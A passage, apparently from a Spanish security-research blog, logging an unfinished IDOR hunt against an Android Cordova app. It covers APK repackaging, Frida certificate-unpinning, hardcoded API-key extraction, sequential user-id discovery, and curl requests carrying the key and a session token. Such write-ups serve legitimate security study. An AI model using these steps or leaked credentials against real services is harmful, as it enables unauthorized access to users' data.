Encuentro app Android - Cordova posiblemente vulnerable
App con Cordova, posiblemente vulnerable .
Tareas a realizar:
Encontrar mi id. de usuario para luego intentar modificarlo y obtener un IDOR.
3 maneras:
a- Con Burp revisar valores e intentar incrementar el id de usuario.
b- Con Frida hookear funciones
c- Usar Console.log // parece lo más sencillo. Los devs dejaron unos cuantos en el código fuente.
d-Tcpdump + Wireshark
Utilizo la c:
1-
Editar archivo controllers.js:
console.log( "hacked! this is your id: " + $localStorage.datosUsuario.id );
2-
$ apktool b cordova_app
3-
keytool -genkey -v -keystore keystore.keystore -alias alias -keyalg RSA -keysize 2048 -validity 3650
4-
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore keystore.keystore cordova_app.apk alias
5-
$ ./adb install cordova_app.apk
Registro 2 cuentas nuevas con diferentes emails en el login de cordova_app.
$ ./adb logcat | grep hack
08-20 17:02:34.549 19872 19872 D SystemWebChromeClient: file:///android_asset/www/js/controllers.js: Line 143 : hacked! this is your id: 19408
08-20 17:06:09.688 19872 19872 D SystemWebChromeClient: file:///android_asset/www/js/controllers.js: Line 143 : hacked! this is your id: 19409
Descubro que los ids de las cuentas son consecutivos.
/******************************************************************************
API SERVICE
******************************************************************************/
.factory('ApiService', function ($http, app_const, $localStorage) {//todo api
var _headers = { "content-type": "application/json", "api-key": app_const.apiKey };
.value('app_const', {
'apiUrl': 'https://cordova_app.com/api/lis/',
//'apiUrl': 'http://192.168.0.13:6004/api/lis/',
'apiKey': 'xuE61-.GqVq5JQb6O=J95iW:YjQI=lp*00ua|%uY%UeQeMHL-O(rxBv=VA|ckT]',
'brand': 4
getCoupons: function () {
return $http.get(app_const.apiUrl + 'app/coupons/' + $localStorage.datosUsuario.id, { headers: _headers });
},
--------------------------------------------------------------------------------------------
Con esta información que nos da sobre la API, construyo la petición al servidor con Curl:
Hay que encontarla manera de enviar esos headers, por ahora no funcionan:
curl -H "Content-Type: application/json" -d "{'api-key': 'xuE61-.GqVq5JQb6O=J95iW:YjQI=lp*00ua|%uY%UeQeMHL-O(rxBv=VA|ckT'}" https://laapp.com/api/lis/app/coupons/19408 -v
curl -H "Content-Type: application/json" -H "api-key: xuE61-.GqVq5JQb6O=J95iW:YjQI=lp*00ua|%uY%UeQeMHL-O(rxBv=VA|ckT" https://laapp.com/api/lis/app/coupons/19408 -v
Cannot GET /api/lis/app/coupons/19408
En Burp hay una ópcion de copiar un request para utilizar en Burp. Luego lo modifique con mi id.
curl -i -s -k -X $'GET' \
-H $'Host: cordova_app.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'content-type: application/json' -H $'api-key: xuE61-.GqVq5JQb6O=J95iW:YjQI=lp*00ua|%uY%UeQeMHL-O(rxBv=VA|ckT' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Dnt: 1' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Tue, 04 Mar 2014 11:46:45 GMT' -H $'Cache-Control: max-age=0' -H $'Te: trailers' -H $'Connection: close' \
$'https://cordova_app.com/api/lis/app/coupons/19408'
curl -i -s -k -X $'GET' \
-H $'Host: cordova_app.com' -H $'content-type: application/json' -H $'api-key: xuE61-.GqVq5JQb6O=J95iW:YjQI=lp*00ua|%uY%UeQeMHL-O(rxBv=VA|ckT' -H $'Connection: close' \
$'https://cordova_app.com/api/lis/app/coupons/19408'
Pero Sigue devolviendo: Cannot GET /api/lis/app/coupons/19408 .
He intentado capturar tráfico con tcpdump pero no veo ningúna conexion por http, todo es tcp. Aunque si se descubre las Ips a las que se conecta.
https://maldroidversing.blogspot.com/2021/06/como-capturar-todo-el-trafico-de-red-en.html
Al final con el siguiente script para unpin la app con Frida:
https://github.com/httptoolkit/frida-android-unpinning/blob/main/frida-script.js
Moverlo:
/home/user/environments/frida_env/bin/frida-script.js
Iniciar Frida servidor y cliente. Luego darle marcha al script:
frida --no-pause -U -l ./frida-script.js -f $TARGET_PACKAGE_NAME
Enviar tráfico a Burp y ya se pueden visualizar todas las peticiones http que la app realiza.
Ahora si podemos copiar peticiones y utilizarlas con curl:
curl -i -s -k -X $'PUT' \
-H $'Host: cordova_app.com' -H $'Content-Length: 103' -H $'Accept: application/json, text/plain, */*' -H $'Api-Key: xuE61-.GqVq5JQb6O=J95iW:YjQI=lp*00ua|%uY%UeQeMHL-O(rxBv=VA|ckT]' -H $'User-Agent: Mozilla/5.0 (Linux; Android 10; ONE A2003 Build/QQ3A.200805.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.105 Mobile Safari/537.36' -H $'Content-Type: application/json' -H $'X-Requested-With: com.cordova.app' -H $'Sec-Fetch-Site: cross-site' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
--data-binary $'{\"user_id\":14054,\"token\":\"326a0e1f-f5bf-4e78-aca2-f0c364427741\",\"timestamp\":\"2021-08-26T16:26:57.814Z\"}' \
$'https://cordova_app.com/api/lis/app/user/token'
Continuará...
